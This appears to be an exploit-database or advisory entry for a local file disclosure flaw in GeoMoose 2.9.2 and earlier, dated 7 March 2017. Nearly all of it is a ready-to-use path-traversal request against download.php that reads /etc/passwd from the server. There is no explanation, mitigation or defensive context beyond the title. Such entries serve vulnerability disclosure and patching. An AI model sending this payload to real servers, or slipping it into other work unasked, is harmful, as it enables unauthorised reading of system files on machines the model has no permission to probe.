GeoMoose <= 2.9.2 Local File Disclosure Tue 07 March 2017 /php/download.php?id=foo/.&ext=/../../../../../../../etc/passwd